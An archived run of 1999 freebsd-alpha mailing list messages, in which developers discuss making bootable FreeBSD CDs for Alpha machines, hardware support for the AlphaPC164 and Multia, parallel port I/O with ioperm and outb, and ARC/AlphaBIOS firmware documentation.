jupiter.zso.dec.com by slugbt.zso.dec.com (5.65v4.0/DECwest-OSF-Nov-11-93) Date: Mon, 3 May 1999 14:04:36 -0700 Message-Id: <9905032104.AA30292@slugbt.zso.dec.com> To: jb@cimlogic.com.au Cc: jkh@zippy.cdrom.com, jb@cimlogic.com.au, freebsd-alpha@FreeBSD.ORG In-Reply-To: <199905032033.GAA17943@cimlogic.com.au> (message from John Birrell on Tue, 4 May 1999 06:33:47 +1000 (EST)) Subject: Re: Installing FreeBSD 3.1 on a Multia box From: mikel@zso.dec.com (Mike Lempriere) Reply-To: mikel@zso.dec.com (Mike Lempriere) Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org If nobody else can do it, I have access to a CDROM burner, and have a fast Internet connection. I am not volunteering to be a CDROM clearinghouse, but I would be willing to make 3 or 4 disks once or twice for testing and mail them to whomever. One word of warning though, I don't know if our machine is capable of making a bootable disk though, I've only ever made data disks with ISO9660 filesystems. (Has anyone ever used "WinGear" CDROM writer software? If you know how to do a bootable CDROM, please email me directly.) > From: John Birrell > Subject: Re: Installing FreeBSD 3.1 on a Multia box > To: jkh@zippy.cdrom.com (Jordan K. Hubbard) > Date: Tue, 4 May 1999 06:33:47 +1000 (EST) > Cc: jb@cimlogic.com.au, freebsd-alpha@FreeBSD.ORG > Sender: owner-freebsd-alpha@FreeBSD.ORG > > Jordan K. Hubbard wrote: > > > Jordan K. Hubbard wrote: > > > > If we really feel that the Alpha is ready to stand on its own CD set, > > > > I guess we could fork it off at this point. There are already a > > > > considerable number of packages available for it.. Making the CD > > > > bootable, however, still won't be an option until somebody shows > > > > us how to do it. :) > > > > > > OK, well let's aim to make 4.0-current go in that direction. > > > > Erm, just to clarify here, you're recommending we go to separate > > distribution CDs at 4.0, or that we worry about bootable media > > for the Alpha with 4.0? > > Both. > > -- > John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ > CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 -- Pacific NorthWest wine, blues, jazz info; http://vintners.net/~mikel Mike Lempriere-Work: mikel@zso.dec.com; Home: mikel@vintners.net WA State resident-junk email prohibited by law: RCW19.190 & RCW19.86 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon May 3 17:36:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 20AE6154B8 for ; Mon, 3 May 1999 17:36:09 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id RAA00841; Mon, 3 May 1999 17:32:36 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905040032.RAA00841@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Doug Rabson Cc: Martin Ostermann , John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "Mon, 03 May 1999 16:49:07 BST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 03 May 1999 17:32:36 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Hmm. Sounds like a standard SRM boot when (which is easy). Just need to > make sure that libstand understands iso9660 filesystems. It should, although it's untested. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 0:43:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zruty.comnets.rwth-aachen.de (zruty.comnets.rwth-aachen.de [137.226.4.16]) by hub.freebsd.org (Postfix) with ESMTP id 89159154F0 for ; Tue, 4 May 1999 00:43:51 -0700 (PDT) (envelope-from ost@comnets.rwth-aachen.de) Received: from kirk.comnets.rwth-aachen.de (kirk [137.226.4.246]) by zruty.comnets.rwth-aachen.de (8.9.1/8.9.1) with ESMTP id JAA07822; Tue, 4 May 1999 09:42:35 +0200 (MET DST) Received: (ost@localhost) by kirk.comnets.rwth-aachen.de (8.6.12/COMNETS-1.0) id JAA23635; Tue, 4 May 1999 09:42:35 +0200 To: Doug Rabson Cc: John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box References: Reply-To: Martin Ostermann x-no-archive: yes From: Martin Ostermann Date: 04 May 1999 09:42:34 +0200 In-Reply-To: Doug Rabson's message of "Mon, 3 May 1999 16:49:07 +0100 (BST)" Message-ID: <43g15dz3f9.fsf@comnets.rwth-aachen.de> Lines: 24 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 3 May 1999 16:49:07 +0100 (BST), Doug Rabson said: >> You won't need a CD writer for testing, a spare SCSI disk with about >> 700MB capacity or more would be just fine. It doesn't matter to SRM >> whether the image is on a CD or on a hard disk... > Hmm. Sounds like a standard SRM boot when (which is easy). Just need to > make sure that libstand understands iso9660 filesystems. Yes, that makes sense. I looked at the isomarkboot code: The position and size of the bootable file it put into byte locations 480ff. Both are measured in blocks. There's one problem with this: It's only possible to boot from CD drives that support a 512 byte block size. Not all drives do that, and it's a burden to jumper them in the right way. Maybe it would be possible to make those entries in 2048 unities? I never tried it, and then of course a real CD would be needed for testing. Martin -- Martin Ostermann | mailto:ost+sig0@comnets.rwth-aachen.de Communication Networks | http://www.comnets.rwth-aachen.de/~ost Aachen University of Technology | phone: ++49/241/807917 Germany | fax: ++49/241/8890378 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 3:38:38 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from octopus.originative (originat.demon.co.uk [158.152.220.9]) by hub.freebsd.org (Postfix) with ESMTP id 5195A14EBB for ; Tue, 4 May 1999 03:38:35 -0700 (PDT) (envelope-from paul@originative.co.uk) Received: by octopus with Internet Mail Service (5.5.2232.9) id ; Tue, 4 May 1999 11:36:36 +0100 Message-ID: From: paul@originative.co.uk To: jkh@zippy.cdrom.com, dfr@nlsystems.com Cc: ost@comnets.rwth-aachen.de, jb@cimlogic.com.au, grog@lemis.com, ks@hirvi.net, freebsd-alpha@FreeBSD.ORG Subject: RE: Installing FreeBSD 3.1 on a Multia box Date: Tue, 4 May 1999 11:36:35 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2232.9) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > -----Original Message----- > From: Jordan K. Hubbard [mailto:jkh@zippy.cdrom.com] > Sent: 03 May 1999 21:05 > To: Doug Rabson > Cc: Martin Ostermann; John Birrell; grog@lemis.com; ks@hirvi.net; > freebsd-alpha@FreeBSD.ORG > Subject: Re: Installing FreeBSD 3.1 on a Multia box > > > > It sounds pretty easy to do but like I said, I don't have a > CD writer. If > > one should unexpectedly appear on my doorstep, I could make > it work I > > expect. > > I enjoy making the unexpected, expected. Any preferences on make > and model, Doug? :-) I'm really not expecting a Ferrari to appear outside my door sometime next week :-) Paul. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 5: 6:15 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from metzelkueche.tabu.uni-bonn.de (metzelkueche.tabu.uni-bonn.de [131.220.159.242]) by hub.freebsd.org (Postfix) with ESMTP id 22D8F154F9 for ; Tue, 4 May 1999 05:06:02 -0700 (PDT) (envelope-from armin@openBSD.de) Received: from localhost (armin@localhost) by metzelkueche.tabu.uni-bonn.de (8.9.1/8.8.7) with SMTP id OAA01384 for ; Tue, 4 May 1999 14:05:54 +0200 Date: Tue, 4 May 1999 14:05:53 +0200 (CEST) From: Armin Ollig X-Sender: armin@metzelkueche.tabu.uni-bonn.de To: freebsd-alpha@freebsd.org Subject: AlphaPC164 and S3 Graphics Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i have an AlphaPC 164 (not 164lx or sx, just 164_) and would like to install FreeBSD on the machine. The docs do not mention this architecure. Will it run ? Also do you plan to support S3 or other cards in Future Releases ? thanks in advance, best regards, --armin PS: For those who care some hardwareinfo: PC164, 21164a 500mhz, 128mb Ram, aha2940uw, ncr53c810, S3-968 Graphics, sb16 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 6:46:19 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 61800154C4 for ; Tue, 4 May 1999 06:46:17 -0700 (PDT) (envelope-from gallatin@cs.duke.edu) Received: from grasshopper.cs.duke.edu (grasshopper.cs.duke.edu [152.3.145.30]) by duke.cs.duke.edu (8.9.1/8.9.1) with ESMTP id JAA08243; Tue, 4 May 1999 09:46:16 -0400 (EDT) Received: (from gallatin@localhost) by grasshopper.cs.duke.edu (8.9.3/8.9.1) id JAA98904; Tue, 4 May 1999 09:46:00 -0400 (EDT) (envelope-from gallatin@cs.duke.edu) From: Andrew Gallatin MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 4 May 1999 09:46:00 -0400 (EDT) To: Armin Ollig Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: AlphaPC164 and S3 Graphics In-Reply-To: References: X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14126.63607.290172.986533@grasshopper.cs.duke.edu> Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Armin Ollig writes: > > i have an AlphaPC 164 (not 164lx or sx, just 164_) and would like to > install FreeBSD on the machine. The docs do not mention this architecure. > Will it run ? It should work. It should be recognized as an EB164. From the GENERIC config file: options "DEC_EB164" # EB164, PC164, PC164LX, PC164SX > Also do you plan to support S3 or other cards in Future Releases ? I *think* your S3 should work right now. I've been running X on an S3-ViRGE in an AS200 for a few months now, at least. You'll need the patches at http://www.freebsd.org/~dfr/ when you build the X server. If you read the mailing list archives, I believe at least one person has server binaries available. Drew ------------------------------------------------------------------------------ Andrew Gallatin, Sr Systems Programmer http://www.cs.duke.edu/~gallatin Duke University Email: gallatin@cs.duke.edu Department of Computer Science Phone: (919) 660-6590 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 13:10:36 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id B7BC914EFC for ; Tue, 4 May 1999 13:10:33 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id NAA01057; Tue, 4 May 1999 13:05:31 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905042005.NAA01057@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Martin Ostermann Cc: Doug Rabson , John Birrell , grog@lemis.com, ks@hirvi.net, freebsd-alpha@freebsd.org Subject: Re: Installing FreeBSD 3.1 on a Multia box In-reply-to: Your message of "04 May 1999 09:42:34 +0200." <43g15dz3f9.fsf@comnets.rwth-aachen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 04 May 1999 13:05:31 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > On Mon, 3 May 1999 16:49:07 +0100 (BST), Doug Rabson said: > >> You won't need a CD writer for testing, a spare SCSI disk with about > >> 700MB capacity or more would be just fine. It doesn't matter to SRM > >> whether the image is on a CD or on a hard disk... > > > Hmm. Sounds like a standard SRM boot when (which is easy). Just need to > > make sure that libstand understands iso9660 filesystems. > > Yes, that makes sense. I looked at the isomarkboot code: The position and > size of the bootable file it put into byte locations 480ff. Both are > measured in blocks. > > There's one problem with this: It's only possible to boot from CD > drives that support a 512 byte block size. Not all drives do that, > and it's a burden to jumper them in the right way. Maybe it would be > possible to make those entries in 2048 unities? I never tried it, and > then of course a real CD would be needed for testing. It's been a Very Long Time since you had to jumper CDROMs to boot off them; I know for a fact that most Sun hardware can boot off CDROMs set either way, I'd have assumed that Alphas can as well. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue May 4 23:57: 7 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from cimlogic.com.au (cimlog.lnk.telstra.net [139.130.51.31]) by hub.freebsd.org (Postfix) with ESMTP id 4F1C61597A for ; Tue, 4 May 1999 23:56:52 -0700 (PDT) (envelope-from jb@cimlogic.com.au) Received: (from jb@localhost) by cimlogic.com.au (8.9.1/8.9.1) id RAA24270; Wed, 5 May 1999 17:05:40 +1000 (EST) (envelope-from jb) From: John Birrell Message-Id: <199905050705.RAA24270@cimlogic.com.au> Subject: Re: Installing FreeBSD 3.1 on a Multia box In-Reply-To: <29534.925764440@zippy.cdrom.com> from "Jordan K. Hubbard" at "May 3, 1999 1:47:20 pm" To: jkh@zippy.cdrom.com (Jordan K. Hubbard) Date: Wed, 5 May 1999 17:05:36 +1000 (EST) Cc: freebsd-alpha@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Jordan K. Hubbard wrote: > > How big, in CDs, would a product that had all ports, packages and > > distfiles be? Including the XFree86 stuff. > > Oh, probably about 6 CDs. :-) > > - Jordan What /is/ happening with list mail? I could have sworn I saw this a few days ago! Is it something to do with the problems with www.au.freebsd.org? -- John Birrell - jb@cimlogic.com.au; jb@freebsd.org http://www.cimlogic.com.au/ CIMlogic Pty Ltd, GPO Box 117A, Melbourne Vic 3001, Australia +61 418 353 137 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 16:32: 2 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from saturn.spel.com (ip226-39-143.spel.com [208.226.39.143]) by hub.freebsd.org (Postfix) with ESMTP id AA8AF15C59 for ; Wed, 5 May 1999 16:31:53 -0700 (PDT) (envelope-from mturpin@saturn.spel.com) Received: from localhost (mturpin@localhost) by saturn.spel.com (8.9.3/8.9.3) with ESMTP id TAA06682 for ; Wed, 5 May 1999 19:26:55 -0400 (EDT) (envelope-from mturpin@saturn.spel.com) Date: Wed, 5 May 1999 19:26:55 -0400 (EDT) From: Mark Turpin To: Alpha Mailing list Subject: Low level parallel I/O? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Does anyone know how to find the IO address of the parallel port on a multia? Also is it possible, on an alpha, to do outb(0x378, 0xFF); ^^^^^----- Or whatever address to set the parallel port data lines high? thanks Mark ----------------------------------------------------------------------------- Mark Turpin | Consulting - Training - Network Installation Systems Engineer | Main Street Technology Centre | http://www.MainStreetTech.com ----------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 16:48:27 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 596121592A for ; Wed, 5 May 1999 16:48:15 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id AAA03843; Thu, 6 May 1999 00:48:13 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 6 May 1999 00:48:13 +0100 (BST) From: Doug Rabson To: Mark Turpin Cc: Alpha Mailing list Subject: Re: Low level parallel I/O? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 5 May 1999, Mark Turpin wrote: > > Does anyone know how to find the IO address of the parallel port on a > multia? > > Also is it possible, on an alpha, to do > > outb(0x378, 0xFF); > ^^^^^----- Or whatever address > > to set the parallel port data lines high? It should be in the normal place (i.e. 0x378). You can use inx/outx in both kernel and user programs. For user programs, you have to use the libio library. Use the ioperm() function to enable access to the required ports and then inx/outx to access the port. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 16:57:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id 09CDA1513A for ; Wed, 5 May 1999 16:57:27 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id QAA03318; Wed, 5 May 1999 16:55:37 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199905052355.QAA03318@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: Mark Turpin Cc: Alpha Mailing list Subject: Re: Low level parallel I/O? In-reply-to: Your message of "Wed, 05 May 1999 19:26:55 EDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 May 1999 16:55:37 -0700 From: Mike Smith Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Does anyone know how to find the IO address of the parallel port on a > multia? You will have to poke around in the SRM leavings to do that. You might be able to prod the Linux code for some help. At that point, it should be pretty trivial to port the 'ppc' driver to the Alpha. > Also is it possible, on an alpha, to do > > outb(0x378, 0xFF); > ^^^^^----- Or whatever address > > to set the parallel port data lines high? Once you have 'ppc' ported, you can use 'ppi' to do that sort of thing. -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 18:17:16 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from saturn.spel.com (ip226-39-143.spel.com [208.226.39.143]) by hub.freebsd.org (Postfix) with ESMTP id B5F3A14EE1 for ; Wed, 5 May 1999 18:17:12 -0700 (PDT) (envelope-from mturpin@saturn.spel.com) Received: from localhost (mturpin@localhost) by saturn.spel.com (8.9.3/8.9.3) with ESMTP id UAA06840; Wed, 5 May 1999 20:47:09 -0400 (EDT) (envelope-from mturpin@saturn.spel.com) Date: Wed, 5 May 1999 20:47:09 -0400 (EDT) From: Mark Turpin To: Doug Rabson Cc: Alpha Mailing list Subject: Re: Low level parallel I/O? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Is there something additional I need to do to use inx/outx on the alpha? I tried the same program from my Intel machine and it errors with: undefined reference to 'outb' Sound like I need to add some command line options to my cc?!? Thanks Mark On Thu, 6 May 1999, Doug Rabson wrote: > On Wed, 5 May 1999, Mark Turpin wrote: > > > > > Does anyone know how to find the IO address of the parallel port on a > > multia? > > > > Also is it possible, on an alpha, to do > > > > outb(0x378, 0xFF); > > ^^^^^----- Or whatever address > > > > to set the parallel port data lines high? > > It should be in the normal place (i.e. 0x378). You can use inx/outx in > both kernel and user programs. For user programs, you have to use the > libio library. Use the ioperm() function to enable access to the required > ports and then inx/outx to access the port. > > -- > Doug Rabson Mail: dfr@nlsystems.com > Nonlinear Systems Ltd. Phone: +44 181 442 9037 > > > ----------------------------------------------------------------------------- Mark Turpin | Consulting - Training - Network Installation Systems Engineer | Main Street Technology Centre | http://www.MainStreetTech.com ----------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 18:22:39 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from zippy.cdrom.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 874B515953 for ; Wed, 5 May 1999 18:21:48 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Received: from zippy.cdrom.com (localhost [127.0.0.1]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id SAA38631 for ; Wed, 5 May 1999 18:22:14 -0700 (PDT) (envelope-from jkh@zippy.cdrom.com) Prev-Resent: Wed, 05 May 1999 18:22:14 -0700 Prev-Resent: "alpha@freebsd.org " Received: from miles.lambdawerks.org (dlci096.isomedia.com [209.102.112.96]) by zippy.cdrom.com (8.9.3/8.9.3) with ESMTP id MAA37142 for ; Wed, 5 May 1999 12:01:14 -0700 (PDT) (envelope-from reggie@lambdawerks.org) Received: from trane.lambdawerks.org (trane.lambdawerks.org [209.102.113.58]) by miles.lambdawerks.org (8.9.2/8.9.3) with ESMTP id MAA92663 for ; Wed, 5 May 1999 12:00:27 -0700 (PDT) (envelope-from reggie@lambdawerks.org) Received: from localhost (localhost [127.0.0.1]) by trane.lambdawerks.org (8.9.3/8.9.3) with ESMTP id MAA12568 for ; Wed, 5 May 1999 12:00:05 -0700 (PDT) (envelope-from reggie@trane.lambdawerks.org) Message-Id: <199905051900.MAA12568@trane.lambdawerks.org> To: "Jordan K. Hubbard" Subject: In-reply-to: Message from "Jordan K. Hubbard" of "Fri, 23 Apr 1999 15:18:38 PDT." <33412.924905918@zippy.cdrom.com> Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: multipart/mixed; boundary="Multipart_Wed_May__5_12:00:05_1999-1" Content-Transfer-Encoding: 7bit Date: Wed, 05 May 1999 12:00:05 -0700 From: "Reginald S. Perry" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --Multipart_Wed_May__5_12:00:05_1999-1 Content-Type: text/plain; charset=US-ASCII >"Jordan" == Jordan K Hubbard writes: > I just talked with one of our engineers here about the docs/SDK > etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS, > the docs being the source itself, the problem being that parts of the > source were written/are copyrighted by Microsoft. So in order to get those > you'd have to sign an NDA with MS. Not good. > Grumble. That's quite unfortunate. :( Thanks for letting me know, > in any case. I was following this thread and sent some mail to my friend who works on low level Alpha/NT stuff. I will attach his message. Let me know if this is useful for you. -Reggie --Multipart_Wed_May__5_12:00:05_1999-1 Content-Type: message/rfc822 Return-Path: roman@zso.dec.com Delivery-Date: Wed, 05 May 1999 09:36:55 -0700 Return-Path: roman@zso.dec.com Message-ID: <19C1981331FED011AC230000F86B12D10187C6A0@ntmail5.zso.dec.com> From: Bill Roman To: "'Reginald S. Perry'" Subject: RE: Is there something that can be done about this? Date: Wed, 5 May 1999 09:37:32 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain > ---------- > From: Reginald S. Perry[SMTP:reggie@lambdawerks.org] > Sent: Tuesday, May 04, 1999 11:48 PM > To: roman@zso.dec.com > Subject: Is there something that can be done about this? > > <> > Hi Bill, > Do you have any contacts that can resolve this issue? I am guessing > > that the left hand is tripping over the right hand. :-) > I presume "this issue" is the information needed to boot FreeBSD from ARC/AlphaBIOS? There are two very useful resources available to the general public at no cost. The first is the "Advanced RISC Computing Multiprocessor Standard Specification, Version 1.2", colloquially known as the "ARC spec". Although it is very dated (it talks about MIPS, and never mentions Alpha), it provides a lot of useful information. It may be found at: http://www.microsoft.com/hwdev/download/respec/riscspec.zip The second is the "ARC Application Development Kit V1.3" (ADK). It is a set of tools and libraries that support development of programs that run in an Alpha ARC firmware environment (including AlphaBIOS). It requires a Windows NT development environment if you want to make direct use of the libraries, but the header files and supporting documentation should prove very useful. There are also some pre-built ARC apps (with source) that are immediately useful. You can find it at: ftp://ftp.compaq.com/pub/softpaq/alphant/adkv13.zip Somewhere on gatekeeper.dec.com is the source code to linload.exe, the ARC app that acts as the first stage loader for Linux under ARC-compliant firmware. It shouldn't be too hard to find, and a quick look at it should provide some hints. The "EBSDK" that was mentioned is the "Evaluation Board Software Development Kit". It must be somewhere on the web site, but I can't find it at the moment. (Compaq has made a real mess of former Digital web sites.) A careful search by someone with useful bandwidth available (like you, Reggie!) should turn it up. It includes sources for some useful tools, like a version of gas for building PALcode, and the all-important "PALcode violation checker" (PVC). I did stumble on some useful documentation at: http://ftp.digital.com/pub/Digital/info/semiconductor/literature/dsc-lib rary.html There's one more useful resource available at no cost, but not to the general public. I'll be glad to answer any specific questions directed to me at my personal e-mail address concerning the ARC environment on Alpha systems, to the fullest extent possible without disclosing proprietary information. I can be reached at: roman@songdog.eskimo.com I'd love to work with any developers on the FreeBSD project who have appropriate skills for such a project. Anyone who can initiate me into the mysteries of how to generate the appropriate variant COFF binary format for ARC apps from GNU tools will get my enthusiastic support! I'd like to be able to boot Linux directly from AlphaBIOS without the need for MILO. --Multipart_Wed_May__5_12:00:05_1999-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed May 5 22:31:59 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.toplink.net (mail.toplink.net [195.2.171.8]) by hub.freebsd.org (Postfix) with ESMTP id 430231593E for ; Wed, 5 May 1999 22:31:56 -0700 (PDT) (envelope-from ks@hirvi.net) Received: (from uucp@localhost) by mail.toplink.net (8.9.1/8.9.1) with UUCP id HAA08974 for freebsd-alpha@FreeBSD.ORG; Thu, 6 May 1999 07:31:55 +0200 (CEST) Received: from hirvi.net (susi.hirvi.net [195.2.174.98]) by karhu.hirvi.net (8.8.7/8.8.8) with SMTP id FAA10635 for ; Thu, 6 May 1999 05:33:01 +0200 Message-Id: <199905060333.FAA10635@karhu.hirvi.net> Date: Thu, 6 May 1999 07:16:13 +0200 From: Kai Schmidt Reply-To: Kai Schmidt To: freebsd-alpha@FreeBSD.ORG Subject: RC5 Client for FreeBSD Alpha X-Mailer: Kai Schmidt's registered AK-Mail 3.0b sppb1 [ger] Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hello, after bringing my Multia up and running I am looking for a rc5 client for FreeBSD/AXP. Did anyone port it? -- Bye! - Kai Schmidt - "That's why we are on this ship to begin with! It becomes our problem when the machines can't handle it!" Capt. Dallas, USCSS Nostromo To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 1: 6:24 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id E9E1A158BF for ; Thu, 6 May 1999 01:06:09 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA35029; Thu, 6 May 1999 09:06:13 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Thu, 6 May 1999 09:06:08 +0100 (BST) From: Doug Rabson To: Mark Turpin Cc: Alpha Mailing list Subject: Re: Low level parallel I/O? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Wed, 5 May 1999, Mark Turpin wrote: > > Is there something additional I need to do to use inx/outx on the alpha? > > I tried the same program from my Intel machine and it errors with: > > undefined reference to 'outb' > > > Sound like I need to add some command line options to my cc?!? On intel, you need to include I think. For the alpha, you will need to be root (or at least group kmem) to get access to the /dev/mem device and you must call ioperm(startport, numports) to map the ports into the program. After that inb/outb should work. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu May 6 1:32:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 